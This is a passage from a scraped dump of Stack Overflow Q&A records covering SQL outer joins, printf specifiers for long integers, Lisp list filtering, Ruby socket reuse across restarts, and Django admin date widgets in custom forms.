class=\"s-table\">\n<thead>\n<tr>\n<th>idA</th>\n<th>ColumnTableA</th>\n<th>idB</th>\n<th>ColumnTableB</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>1</td>\n<td>Jonh</td>\n<td>1</td>\n<td>Connor</td>\n</tr>\n<tr>\n<td>2</td>\n<td>Sarah</td>\n<td>1</td>\n<td>Connor</td>\n</tr>\n<tr>\n<td>3</td>\n<td>Clark</td>\n<td>2</td>\n<td>Kent</td>\n</tr>\n<tr>\n<td>4</td>\n<td>Barbie</td>\n<td>NULL</td>\n<td>NULL</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>Right outer join:</p>\n<pre><code>from tableA right join tableB on tableA.idB = tableB.idB\n</code></pre>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>idA</th>\n<th>ColumnTableA</th>\n<th>idB</th>\n<th>ColumnTableB</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>1</td>\n<td>Jonh</td>\n<td>1</td>\n<td>Connor</td>\n</tr>\n<tr>\n<td>2</td>\n<td>Sarah</td>\n<td>1</td>\n<td>Connor</td>\n</tr>\n<tr>\n<td>3</td>\n<td>Clark</td>\n<td>2</td>\n<td>Kent</td>\n</tr>\n<tr>\n<td>NULL</td>\n<td>NULL</td>\n<td>3</td>\n<td>Spock</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>Full outer join:</p>\n<pre><code>from tableA full join tableB on tableA.idB = tableB.idB\n</code></pre>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>idA</th>\n<th>ColumnTableA</th>\n<th>idB</th>\n<th>ColumnTableB</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>1</td>\n<td>Jonh</td>\n<td>1</td>\n<td>Connor</td>\n</tr>\n<tr>\n<td>2</td>\n<td>Sarah</td>\n<td>1</td>\n<td>Connor</td>\n</tr>\n<tr>\n<td>3</td>\n<td>Clark</td>\n<td>2</td>\n<td>Kent</td>\n</tr>\n<tr>\n<td>4</td>\n<td>Barbie</td>\n<td>NULL</td>\n<td>NULL</td>\n</tr>\n<tr>\n<td>NULL</td>\n<td>NULL</td>\n<td>3</td>\n<td>Spock</td>\n</tr>\n</tbody>\n</table>\n</div>"
},
{
"answer_id": 73939639,
"author": "uthra",
"author_id": 20113153,
"author_profile": "https://Stackoverflow.com/users/20113153",
"pm_score": -1,
"selected": false,
"text": "<p><strong>in Inner join</strong>, We can retrieve the data where we have the same/related data in different tables</p>\n<p>SELECT Sname, Tname\nFROM student s\nJOIN teacher t\nON s.id = t.id;</p>\n<p>if you also want to get other data information from a different table in that case, we can go for outer join</p>\n<p>we have 3 types of outer join:</p>\n<p><strong>LEFT JOIN, RIGHT JOIN, and FULL JOIN</strong></p>\n<p>We will also retrieve the unrelated data from the left (the first) table for the <strong>LEFT OUTER JOIN.</strong></p>\n<p>SELECT Sname, Tname\nFROM student s\nLEFT JOIN teacher t\nON s.id = t.id;</p>\n<p>The <strong>RIGHT OUTER JOIN</strong>, we also retrieve the unrelated data from the right table (the second table)</p>\n<p>SELECT Sname, Tname\nFROM student s\nRIGHT JOIN teacher t\nON s.id = t.id;</p>\n<p>We can use the <strong>FULL OUTER JOIN</strong> when we want to retrieve all/complete data from both tables and the missing data will be filled in with NULL.</p>\n<p>SELECT Sname, Tname\nFROM student s\nFULL JOIN teacher t\nON s.id = t.id;</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38549",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3836/"
] | Also, how do `LEFT OUTER JOIN`, `RIGHT OUTER JOIN`, and `FULL OUTER JOIN` fit in? | Assuming you're joining on columns with no duplicates, which is a very common case:
* An inner join of A and B gives the result of A intersect B, i.e. the inner part of a [Venn diagram](http://en.wikipedia.org/wiki/Venn_diagram) intersection.
* An outer join of A and B gives the results of A union B, i.e. the outer parts of a [Venn diagram](http://en.wikipedia.org/wiki/Venn_diagram) union.
**Examples**
Suppose you have two tables, with a single column each, and data as follows:
```
A B
- -
1 3
2 4
3 5
4 6
```
Note that (1,2) are unique to A, (3,4) are common, and (5,6) are unique to B.
**Inner join**
An inner join using either of the equivalent queries gives the intersection of the two tables, i.e. the two rows they have in common.
```
select * from a INNER JOIN b on a.a = b.b;
select a.*, b.* from a,b where a.a = b.b;
a | b
--+--
3 | 3
4 | 4
```
**Left outer join**
A left outer join will give all rows in A, plus any common rows in B.
```
select * from a LEFT OUTER JOIN b on a.a = b.b;
select a.*, b.* from a,b where a.a = b.b(+);
a | b
--+-----
1 | null
2 | null
3 | 3
4 | 4
```
**Right outer join**
A right outer join will give all rows in B, plus any common rows in A.
```
select * from a RIGHT OUTER JOIN b on a.a = b.b;
select a.*, b.* from a,b where a.a(+) = b.b;
a | b
-----+----
3 | 3
4 | 4
null | 5
null | 6
```
**Full outer join**
A full outer join will give you the union of A and B, i.e. all the rows in A and all the rows in B. If something in A doesn't have a corresponding datum in B, then the B portion is null, and vice versa.
```
select * from a FULL OUTER JOIN b on a.a = b.b;
a | b
-----+-----
1 | null
2 | null
3 | 3
4 | 4
null | 6
null | 5
``` |
38,561 | <p>The <code>printf</code> function takes an argument type, such as <code>%d</code> or <code>%i</code> for a <code>signed int</code>. However, I don't see anything for a <code>long</code> value.</p>
| [
{
"answer_id": 38566,
"author": "Rob Walker",
"author_id": 3631,
"author_profile": "https://Stackoverflow.com/users/3631",
"pm_score": 4,
"selected": false,
"text": "<p><code>%ld</code> see <a href=\"http://www.cplusplus.com/reference/clibrary/cstdio/printf.html\" rel=\"noreferrer\"><code>printf</code> reference on cplusplus.com</a></p>\n"
},
{
"answer_id": 38570,
"author": "postfuturist",
"author_id": 1892,
"author_profile": "https://Stackoverflow.com/users/1892",
"pm_score": 11,
"selected": true,
"text": "<p>Put an <code>l</code> (lowercased letter L) directly before the specifier. </p>\n\n<pre><code>unsigned long n;\nlong m;\n\nprintf(\"%lu %ld\", n, m);\n</code></pre>\n"
},
{
"answer_id": 38607,
"author": "Blorgbeard",
"author_id": 369,
"author_profile": "https://Stackoverflow.com/users/369",
"pm_score": 8,
"selected": false,
"text": "<p>I think you mean:</p>\n\n<pre><code>unsigned long n;\nprintf(\"%lu\", n); // unsigned long\n</code></pre>\n\n<p>or</p>\n\n<pre><code>long n;\nprintf(\"%ld\", n); // signed long\n</code></pre>\n"
},
{
"answer_id": 40354,
"author": "Andrew O'Reilly",
"author_id": 3692,
"author_profile": "https://Stackoverflow.com/users/3692",
"pm_score": -1,
"selected": false,
"text": "<p>I think to answer this question definitively would require knowing the compiler name and version that you are using and the platform (CPU type, OS etc.) that it is compiling for.</p>\n"
},
{
"answer_id": 13112207,
"author": "Dolan Antenucci",
"author_id": 318870,
"author_profile": "https://Stackoverflow.com/users/318870",
"pm_score": 4,
"selected": false,
"text": "<p>In case you're looking to print <code>unsigned long long</code> as I was, use:</p>\n\n<pre><code>unsigned long long n;\nprintf(\"%llu\", n);\n</code></pre>\n\n<p>For all other combinations, I believe you use the table from <a href=\"http://www.cplusplus.com/reference/clibrary/cstdio/printf/\" rel=\"noreferrer\">the printf manual</a>, taking the row, then column label for whatever type you're trying to print (as I do with <code>printf(\"%llu\", n)</code> above).</p>\n"
},
{
"answer_id": 14610883,
"author": "Dave Dopson",
"author_id": 407731,
"author_profile": "https://Stackoverflow.com/users/407731",
"pm_score": 7,
"selected": false,
"text": "<p>On most platforms, <code>long</code> and <code>int</code> are the same size (32 bits). Still, it does have its own format specifier:</p>\n\n<pre><code>long n;\nunsigned long un;\nprintf(\"%ld\", n); // signed\nprintf(\"%lu\", un); // unsigned\n</code></pre>\n\n<p>For 64 bits, you'd want a <code>long long</code>:</p>\n\n<pre><code>long long n;\nunsigned long long un;\nprintf(\"%lld\", n); // signed\nprintf(\"%llu\", un); // unsigned\n</code></pre>\n\n<p>Oh, and of course, it's different in Windows:</p>\n\n<pre><code>printf(\"%l64d\", n); // signed\nprintf(\"%l64u\", un); // unsigned\n</code></pre>\n\n<p>Frequently, when I'm printing 64-bit values, I find it helpful to print them in hex (usually with numbers that big, they are pointers or bit fields).</p>\n\n<pre><code>unsigned long long n;\nprintf(\"0x%016llX\", n); // \"0x\" followed by \"0-padded\", \"16 char wide\", \"long long\", \"HEX with 0-9A-F\"\n</code></pre>\n\n<p>will print:</p>\n\n<pre><code>0x00000000DEADBEEF\n</code></pre>\n\n<p>Btw, \"long\" doesn't mean that much anymore (on mainstream x64). \"int\" is the platform default int size, typically 32 bits. \"long\" is usually the same size. However, they have different portability semantics on older platforms (and modern embedded platforms!). \"long long\" is a 64-bit number and usually what people meant to use unless they really really knew what they were doing editing a piece of x-platform portable code. Even then, they probably would have used a macro instead to capture the semantic meaning of the type (eg uint64_t).</p>\n\n<pre><code>char c; // 8 bits\nshort s; // 16 bits\nint i; // 32 bits (on modern platforms)\nlong l; // 32 bits\nlong long ll; // 64 bits \n</code></pre>\n\n<p>Back in the day, \"int\" was 16 bits. You'd think it would now be 64 bits, but no, that would have caused insane portability issues. Of course, even this is a simplification of the arcane and history-rich truth. See <a href=\"http://en.wikipedia.org/wiki/Integer_(computer_science)\" rel=\"noreferrer\">wiki:Integer</a></p>\n"
},
{
"answer_id": 15237828,
"author": "krato",
"author_id": 2130213,
"author_profile": "https://Stackoverflow.com/users/2130213",
"pm_score": 4,
"selected": false,
"text": "<p>It depends, if you are referring to unsigned long the formatting character is <code>\"%lu\"</code>. If you're referring to signed long the formatting character is <code>\"%ld\"</code>.</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38561",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/572/"
] | The `printf` function takes an argument type, such as `%d` or `%i` for a `signed int`. However, I don't see anything for a `long` value. | Put an `l` (lowercased letter L) directly before the specifier.
```
unsigned long n;
long m;
printf("%lu %ld", n, m);
``` |
38,571 | <p>I find myself doing this sort of thing all the time. I've been considering writing a macro/function to make this sort of thing easier, but it occurs to me that I'm probably reinventing the wheel.</p>
<p>Is there an existing function that will let me accomplish this same sort of thing more succinctly?</p>
<pre><code>(defun remove-low-words (word-list)
"Return a list with words of insufficient score removed."
(let ((result nil))
(dolist (word word-list)
(when (good-enough-score-p word) (push word result)))
result))
</code></pre>
| [
{
"answer_id": 38594,
"author": "Chris Hanson",
"author_id": 714,
"author_profile": "https://Stackoverflow.com/users/714",
"pm_score": -1,
"selected": false,
"text": "<p>There are a couple ways you can do this. First, and probably most easily, you can do it recursively.</p>\n\n<pre><code>(defun remove-low-words (word-list)\n (if (good-enough-score-p (car word-list))\n (list word (remove-low-words (cdr word-list)))\n (remove-low-words (cdr word-list))))\n</code></pre>\n\n<p>You could also do it with <code>mapcar</code> and <code>reduce</code>, where the former can construct you a list with failing elements replaced by <code>nil</code> and the latter can be used to filter out the <code>nil</code>.</p>\n\n<p>Either would be a good candidate for a \"filter\" macro or function that takes a list and returns the list filtered by some predicate.</p>\n"
},
{
"answer_id": 38823,
"author": "Luís Oliveira",
"author_id": 2967,
"author_profile": "https://Stackoverflow.com/users/2967",
"pm_score": 6,
"selected": true,
"text": "<p>There are several built-in ways of doing this. One way would be:</p>\n\n<pre><code>(remove-if-not 'good-enough-score-p word-list)\n</code></pre>\n\n<p>And another:</p>\n\n<pre><code>(loop for word in word-list \n when (good-enough-score-p word)\n collect word)\n</code></pre>\n\n<p>And yet another:</p>\n\n<pre><code>(mapcan (lambda (word)\n (when (good-enough-score-p word)\n (list word)))\n word-list)\n</code></pre>\n\n<p>Etc... There's also <a href=\"http://series.sourceforge.net/\" rel=\"noreferrer\">SERIES</a> and <a href=\"http://common-lisp.net/project/iterate/\" rel=\"noreferrer\">Iterate</a>. The Iterate version is identical to the LOOP version, but the SERIES version is interesting:</p>\n\n<pre><code>(collect (choose-if 'good-enough-score-p (scan word-list))))\n</code></pre>\n\n<p>So, yes, you're very likely to reinvent <em>some</em> wheel. :-)</p>\n"
},
{
"answer_id": 84036,
"author": "Nathan Shively-Sanders",
"author_id": 7851,
"author_profile": "https://Stackoverflow.com/users/7851",
"pm_score": 3,
"selected": false,
"text": "<p>The function you want is <code>remove-if-not</code>, which is built-in.</p>\n\n<pre><code>(defun remove-low-words (word-list)\n (remove-if-not #'good-enough-score-p word-list))\n</code></pre>\n\n<p>If you feel like you are re-inventing something to do with lists, you probably are. Check the Hyperspec to see.</p>\n\n<ul>\n<li><a href=\"http://www.lispworks.com/documentation/HyperSpec/Body/f_rm_rm.htm#remove-if-not\" rel=\"nofollow noreferrer\">The Hyperspec documentation on <code>remove-if-not</code></a></li>\n<li><a href=\"http://www.lispworks.com/documentation/HyperSpec/Body/c_sequen.htm\" rel=\"nofollow noreferrer\">All sequence functions</a></li>\n<li><a href=\"http://www.lispworks.com/documentation/HyperSpec/Body/c_conses.htm\" rel=\"nofollow noreferrer\">All list-specific functions</a></li>\n</ul>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38571",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/56456/"
] | I find myself doing this sort of thing all the time. I've been considering writing a macro/function to make this sort of thing easier, but it occurs to me that I'm probably reinventing the wheel.
Is there an existing function that will let me accomplish this same sort of thing more succinctly?
```
(defun remove-low-words (word-list)
"Return a list with words of insufficient score removed."
(let ((result nil))
(dolist (word word-list)
(when (good-enough-score-p word) (push word result)))
result))
``` | There are several built-in ways of doing this. One way would be:
```
(remove-if-not 'good-enough-score-p word-list)
```
And another:
```
(loop for word in word-list
when (good-enough-score-p word)
collect word)
```
And yet another:
```
(mapcan (lambda (word)
(when (good-enough-score-p word)
(list word)))
word-list)
```
Etc... There's also [SERIES](http://series.sourceforge.net/) and [Iterate](http://common-lisp.net/project/iterate/). The Iterate version is identical to the LOOP version, but the SERIES version is interesting:
```
(collect (choose-if 'good-enough-score-p (scan word-list))))
```
So, yes, you're very likely to reinvent *some* wheel. :-) |
38,592 | <p>I'd like to be able to write a ruby program that can restart without dropping it's socket connections.</p>
| [
{
"answer_id": 38597,
"author": "wvdschel",
"author_id": 2018,
"author_profile": "https://Stackoverflow.com/users/2018",
"pm_score": 0,
"selected": false,
"text": "<p>You're talking about network sockets, not UNIX sockets I assume?</p>\n\n<p>I'm not sure this suits your needs, but the way I would do it is by seperating the networking and logic part, and only restart the logic part, then reconnect the logic part to the networking part.</p>\n"
},
{
"answer_id": 38599,
"author": "ryantm",
"author_id": 823,
"author_profile": "https://Stackoverflow.com/users/823",
"pm_score": 2,
"selected": true,
"text": "<p>This program gets Google's homepage and then when you pass it SIG_INT via <kbd>Ctrl</kbd>-<kbd>C</kbd> it restarts the program and reads the output of the homepage from the open socket with Google.</p>\n<pre><code>#!/usr/bin/ruby\n#simple_connector.rb\nrequire 'socket'\n\nputs "Started."\n\nif ARGV[0] == "restart"\n sock = IO.open(ARGV[1].to_i)\n puts sock.read\n exit\nelse\n sock = TCPSocket.new('google.com', 80)\n sock.write("GET /\\n")\nend\n\nSignal.trap("INT") do\n puts "Restarting..."\n exec("ruby simple_connector.rb restart #{sock.fileno}")\nend\n\nwhile true\n sleep 1\nend\n</code></pre>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38592",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/823/"
] | I'd like to be able to write a ruby program that can restart without dropping it's socket connections. | This program gets Google's homepage and then when you pass it SIG\_INT via `Ctrl`-`C` it restarts the program and reads the output of the homepage from the open socket with Google.
```
#!/usr/bin/ruby
#simple_connector.rb
require 'socket'
puts "Started."
if ARGV[0] == "restart"
sock = IO.open(ARGV[1].to_i)
puts sock.read
exit
else
sock = TCPSocket.new('google.com', 80)
sock.write("GET /\n")
end
Signal.trap("INT") do
puts "Restarting..."
exec("ruby simple_connector.rb restart #{sock.fileno}")
end
while true
sleep 1
end
``` |
38,601 | <p>How can I use the nifty JavaScript date and time widgets that the default admin uses with my custom view?</p>
<p>I have looked through <a href="https://docs.djangoproject.com/en/dev/topics/forms/" rel="noreferrer">the Django forms documentation</a>, and it briefly mentions django.contrib.admin.widgets, but I don't know how to use it?</p>
<p>Here is my template that I want it applied on.</p>
<pre><code><form action="." method="POST">
<table>
{% for f in form %}
<tr> <td> {{ f.name }}</td> <td>{{ f }}</td> </tr>
{% endfor %}
</table>
<input type="submit" name="submit" value="Add Product">
</form>
</code></pre>
<p>Also, I think it should be noted that I haven't really written a view up myself for this form, I am using a generic view. Here is the entry from the url.py:</p>
<pre><code>(r'^admin/products/add/$', create_object, {'model': Product, 'post_save_redirect': ''}),
</code></pre>
<p>And I am relevantly new to the whole Django/MVC/MTV thing, so please go easy...</p>
| [
{
"answer_id": 38916,
"author": "Carl Meyer",
"author_id": 3207,
"author_profile": "https://Stackoverflow.com/users/3207",
"pm_score": 8,
"selected": true,
"text": "<p>The growing complexity of this answer over time, and the many hacks required, probably ought to caution you against doing this at all. It's relying on undocumented internal implementation details of the admin, is likely to break again in future versions of Django, and is no easier to implement than just finding another JS calendar widget and using that.</p>\n<p>That said, here's what you have to do if you're determined to make this work:</p>\n<ol>\n<li><p>Define your own <code>ModelForm</code> subclass for your model (best to put it in forms.py in your app), and tell it to use the <code>AdminDateWidget</code> / <code>AdminTimeWidget</code> / <code>AdminSplitDateTime</code> (replace 'mydate' etc with the proper field names from your model):</p>\n<pre><code> from django import forms\n from my_app.models import Product\n from django.contrib.admin import widgets \n\n class ProductForm(forms.ModelForm):\n class Meta:\n model = Product\n def __init__(self, *args, **kwargs):\n super(ProductForm, self).__init__(*args, **kwargs)\n self.fields['mydate'].widget = widgets.AdminDateWidget()\n self.fields['mytime'].widget = widgets.AdminTimeWidget()\n self.fields['mydatetime'].widget = widgets.AdminSplitDateTime()\n</code></pre>\n</li>\n<li><p>Change your URLconf to pass <code>'form_class': ProductForm</code> instead of <code>'model': Product</code> to the generic <code>create_object</code> view (that'll mean <code>from my_app.forms import ProductForm</code> instead of <code>from my_app.models import Product</code>, of course).</p>\n</li>\n<li><p>In the head of your template, include <code>{{ form.media }}</code> to output the links to the Javascript files.</p>\n</li>\n<li><p>And the hacky part: the admin date/time widgets presume that the i18n JS stuff has been loaded, and also require core.js, but don't provide either one automatically. So in your template above <code>{{ form.media }}</code> you'll need:</p>\n<pre><code> <script type="text/javascript" src="/my_admin/jsi18n/"></script>\n <script type="text/javascript" src="/media/admin/js/core.js"></script>\n</code></pre>\n</li>\n</ol>\n<p>You may also wish to use the following admin CSS (thanks <a href=\"https://stackoverflow.com/questions/38601/using-django-time-date-widgets-in-custom-form/719583#719583\">Alex</a> for mentioning this):</p>\n<pre><code> <link rel="stylesheet" type="text/css" href="/media/admin/css/forms.css"/>\n <link rel="stylesheet" type="text/css" href="/media/admin/css/base.css"/>\n <link rel="stylesheet" type="text/css" href="/media/admin/css/global.css"/>\n <link rel="stylesheet" type="text/css" href="/media/admin/css/widgets.css"/>\n</code></pre>\n<p>This implies that Django's admin media (<code>ADMIN_MEDIA_PREFIX</code>) is at /media/admin/ - you can change that for your setup. Ideally you'd use a context processor to pass this values to your template instead of hardcoding it, but that's beyond the scope of this question.</p>\n<p>This also requires that the URL /my_admin/jsi18n/ be manually wired up to the django.views.i18n.javascript_catalog view (or null_javascript_catalog if you aren't using I18N). You have to do this yourself instead of going through the admin application so it's accessible regardless of whether you're logged into the admin (thanks <a href=\"https://stackoverflow.com/questions/38601/using-django-time-date-widgets-in-custom-form/408230#408230\">Jeremy</a> for pointing this out). Sample code for your URLconf:</p>\n<pre><code>(r'^my_admin/jsi18n', 'django.views.i18n.javascript_catalog'),\n</code></pre>\n<p>Lastly, if you are using Django 1.2 or later, you need some additional code in your template to help the widgets find their media:</p>\n<pre><code>{% load adminmedia %} /* At the top of the template. */\n\n/* In the head section of the template. */\n<script type="text/javascript">\nwindow.__admin_media_prefix__ = "{% filter escapejs %}{% admin_media_prefix %}{% endfilter %}";\n</script>\n</code></pre>\n<p>Thanks <a href=\"https://stackoverflow.com/questions/38601/using-django-time-date-widgets-in-custom-form/2818128#2818128\">lupefiasco</a> for this addition.</p>\n"
},
{
"answer_id": 72284,
"author": "zgoda",
"author_id": 12138,
"author_profile": "https://Stackoverflow.com/users/12138",
"pm_score": 6,
"selected": false,
"text": "<p>As the solution is hackish, I think using your own date/time widget with some JavaScript is more feasible.</p>\n"
},
{
"answer_id": 408230,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 4,
"selected": false,
"text": "<p>Yep, I ended up overriding the /admin/jsi18n/ url.</p>\n\n<p>Here's what I added in my urls.py. Make sure it's above the /admin/ url</p>\n\n<pre><code> (r'^admin/jsi18n', i18n_javascript),\n</code></pre>\n\n<p>And here is the i18n_javascript function I created.</p>\n\n<pre><code>from django.contrib import admin\ndef i18n_javascript(request):\n return admin.site.i18n_javascript(request)\n</code></pre>\n"
},
{
"answer_id": 719583,
"author": "Alex. S.",
"author_id": 18300,
"author_profile": "https://Stackoverflow.com/users/18300",
"pm_score": 3,
"selected": false,
"text": "<p>Complementing the answer by Carl Meyer, I would like to comment that you need to put that header in some valid block (inside the header) within your template.</p>\n\n<pre><code>{% block extra_head %}\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"/media/admin/css/forms.css\"/>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"/media/admin/css/base.css\"/>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"/media/admin/css/global.css\"/>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"/media/admin/css/widgets.css\"/>\n\n<script type=\"text/javascript\" src=\"/admin/jsi18n/\"></script>\n<script type=\"text/javascript\" src=\"/media/admin/js/core.js\"></script>\n<script type=\"text/javascript\" src=\"/media/admin/js/admin/RelatedObjectLookups.js\"></script>\n\n{{ form.media }}\n\n{% endblock %}\n</code></pre>\n"
},
{
"answer_id": 1392329,
"author": "monkut",
"author_id": 24718,
"author_profile": "https://Stackoverflow.com/users/24718",
"pm_score": 4,
"selected": false,
"text": "<p>I find myself referencing this post a lot, and found that the <a href=\"http://docs.djangoproject.com/en/dev/topics/forms/modelforms/#overriding-the-default-field-types\" rel=\"noreferrer\">documentation</a> defines a <em>slightly</em> less hacky way to override default widgets. </p>\n\n<p>(<em>No need to override the ModelForm's __init__ method</em>)</p>\n\n<p>However, you still need to wire your JS and CSS appropriately as Carl mentions.</p>\n\n<p><strong>forms.py</strong></p>\n\n<pre><code>from django import forms\nfrom my_app.models import Product\nfrom django.contrib.admin import widgets \n\n\nclass ProductForm(forms.ModelForm):\n mydate = forms.DateField(widget=widgets.AdminDateWidget)\n mytime = forms.TimeField(widget=widgets.AdminTimeWidget)\n mydatetime = forms.SplitDateTimeField(widget=widgets.AdminSplitDateTime)\n\n class Meta:\n model = Product\n</code></pre>\n\n<p>Reference <a href=\"http://docs.djangoproject.com/en/dev/topics/forms/modelforms/#field-types\" rel=\"noreferrer\">Field Types</a> to find the default form fields.</p>\n"
},
{
"answer_id": 1833247,
"author": "Sam A.",
"author_id": 318368,
"author_profile": "https://Stackoverflow.com/users/318368",
"pm_score": 1,
"selected": false,
"text": "<p>Updated solution and workaround for <strong>SplitDateTime</strong> with <strong>required=False</strong>:</p>\n\n<p><em>forms.py</em></p>\n\n<pre><code>from django import forms\n\nclass SplitDateTimeJSField(forms.SplitDateTimeField):\n def __init__(self, *args, **kwargs):\n super(SplitDateTimeJSField, self).__init__(*args, **kwargs)\n self.widget.widgets[0].attrs = {'class': 'vDateField'}\n self.widget.widgets[1].attrs = {'class': 'vTimeField'} \n\n\nclass AnyFormOrModelForm(forms.Form):\n date = forms.DateField(widget=forms.TextInput(attrs={'class':'vDateField'}))\n time = forms.TimeField(widget=forms.TextInput(attrs={'class':'vTimeField'}))\n timestamp = SplitDateTimeJSField(required=False,)\n</code></pre>\n\n<p><em>form.html</em></p>\n\n<pre><code><script type=\"text/javascript\" src=\"/admin/jsi18n/\"></script>\n<script type=\"text/javascript\" src=\"/admin_media/js/core.js\"></script>\n<script type=\"text/javascript\" src=\"/admin_media/js/calendar.js\"></script>\n<script type=\"text/javascript\" src=\"/admin_media/js/admin/DateTimeShortcuts.js\"></script>\n</code></pre>\n\n<p><em>urls.py</em></p>\n\n<pre><code>(r'^admin/jsi18n/', 'django.views.i18n.javascript_catalog'),\n</code></pre>\n"
},
{
"answer_id": 2396907,
"author": "Dennis Kioko",
"author_id": 263501,
"author_profile": "https://Stackoverflow.com/users/263501",
"pm_score": 3,
"selected": false,
"text": "<p>The below will also work as a last resort if the above failed</p>\n\n<pre><code>class PaymentsForm(forms.ModelForm):\n class Meta:\n model = Payments\n\n def __init__(self, *args, **kwargs):\n super(PaymentsForm, self).__init__(*args, **kwargs)\n self.fields['date'].widget = SelectDateWidget()\n</code></pre>\n\n<p>Same as </p>\n\n<pre><code>class PaymentsForm(forms.ModelForm):\n date = forms.DateField(widget=SelectDateWidget())\n\n class Meta:\n model = Payments\n</code></pre>\n\n<p>put this in your forms.py <code>from django.forms.extras.widgets import SelectDateWidget</code></p>\n"
},
{
"answer_id": 2818128,
"author": "mshafrir",
"author_id": 5675,
"author_profile": "https://Stackoverflow.com/users/5675",
"pm_score": 3,
"selected": false,
"text": "<p>Starting in Django 1.2 RC1, if you're using the Django admin date picker widge trick, the following has to be added to your template, or you'll see the calendar icon url being referenced through \"/missing-admin-media-prefix/\".</p>\n\n<pre><code>{% load adminmedia %} /* At the top of the template. */\n\n/* In the head section of the template. */\n<script type=\"text/javascript\">\nwindow.__admin_media_prefix__ = \"{% filter escapejs %}{% admin_media_prefix %}{% endfilter %}\";\n</script>\n</code></pre>\n"
},
{
"answer_id": 9139017,
"author": "trubliphone",
"author_id": 1060339,
"author_profile": "https://Stackoverflow.com/users/1060339",
"pm_score": 2,
"selected": false,
"text": "<p>What about just assigning a class to your widget and then binding that class to the JQuery datepicker?</p>\n\n<p>Django forms.py:</p>\n\n<pre><code>class MyForm(forms.ModelForm):\n\n class Meta:\n model = MyModel\n\n def __init__(self, *args, **kwargs):\n super(MyForm, self).__init__(*args, **kwargs)\n self.fields['my_date_field'].widget.attrs['class'] = 'datepicker'\n</code></pre>\n\n<p>And some JavaScript for the template:</p>\n\n<pre><code> $(\".datepicker\").datepicker();\n</code></pre>\n"
},
{
"answer_id": 11446609,
"author": "Romamo",
"author_id": 1508578,
"author_profile": "https://Stackoverflow.com/users/1508578",
"pm_score": 4,
"selected": false,
"text": "<p>My head code for 1.4 version(some new and some removed)</p>\n\n<pre><code>{% block extrahead %}\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{{ STATIC_URL }}admin/css/forms.css\"/>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{{ STATIC_URL }}admin/css/base.css\"/>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{{ STATIC_URL }}admin/css/global.css\"/>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{{ STATIC_URL }}admin/css/widgets.css\"/>\n\n<script type=\"text/javascript\" src=\"/admin/jsi18n/\"></script>\n<script type=\"text/javascript\" src=\"{{ STATIC_URL }}admin/js/core.js\"></script>\n<script type=\"text/javascript\" src=\"{{ STATIC_URL }}admin/js/admin/RelatedObjectLookups.js\"></script>\n<script type=\"text/javascript\" src=\"{{ STATIC_URL }}admin/js/jquery.js\"></script>\n<script type=\"text/javascript\" src=\"{{ STATIC_URL }}admin/js/jquery.init.js\"></script>\n<script type=\"text/javascript\" src=\"{{ STATIC_URL }}admin/js/actions.js\"></script>\n<script type=\"text/javascript\" src=\"{{ STATIC_URL }}admin/js/calendar.js\"></script>\n<script type=\"text/javascript\" src=\"{{ STATIC_URL }}admin/js/admin/DateTimeShortcuts.js\"></script>\n\n{% endblock %}\n</code></pre>\n"
},
{
"answer_id": 39946546,
"author": "Jose Luis Quichimbo",
"author_id": 5833286,
"author_profile": "https://Stackoverflow.com/users/5833286",
"pm_score": 0,
"selected": false,
"text": "<p>In Django 10.\nmyproject/urls.py:\nat the beginning of urlpatterns</p>\n\n<pre><code> from django.views.i18n import JavaScriptCatalog\n\nurlpatterns = [\n url(r'^jsi18n/$', JavaScriptCatalog.as_view(), name='javascript-catalog'),\n.\n.\n.]\n</code></pre>\n\n<p>In my template.html:</p>\n\n<pre><code>{% load staticfiles %}\n\n <script src=\"{% static \"js/jquery-2.2.3.min.js\" %}\"></script>\n <script src=\"{% static \"js/bootstrap.min.js\" %}\"></script>\n {# Loading internazionalization for js #}\n {% load i18n admin_modify %}\n <script type=\"text/javascript\" src=\"{% url 'javascript-catalog' %}\"></script>\n <script type=\"text/javascript\" src=\"{% static \"/admin/js/jquery.init.js\" %}\"></script>\n\n <link rel=\"stylesheet\" type=\"text/css\" href=\"{% static \"/admin/css/base.css\" %}\">\n <link rel=\"stylesheet\" type=\"text/css\" href=\"{% static \"/admin/css/forms.css\" %}\">\n <link rel=\"stylesheet\" type=\"text/css\" href=\"{% static \"/admin/css/login.css\" %}\">\n <link rel=\"stylesheet\" type=\"text/css\" href=\"{% static \"/admin/css/widgets.css\" %}\">\n\n\n\n <script type=\"text/javascript\" src=\"{% static \"/admin/js/core.js\" %}\"></script>\n <script type=\"text/javascript\" src=\"{% static \"/admin/js/SelectFilter2.js\" %}\"></script>\n <script type=\"text/javascript\" src=\"{% static \"/admin/js/admin/RelatedObjectLookups.js\" %}\"></script>\n <script type=\"text/javascript\" src=\"{% static \"/admin/js/actions.js\" %}\"></script>\n <script type=\"text/javascript\" src=\"{% static \"/admin/js/calendar.js\" %}\"></script>\n <script type=\"text/javascript\" src=\"{% static \"/admin/js/admin/DateTimeShortcuts.js\" %}\"></script>\n</code></pre>\n"
},
{
"answer_id": 51459403,
"author": "potemkin",
"author_id": 10115957,
"author_profile": "https://Stackoverflow.com/users/10115957",
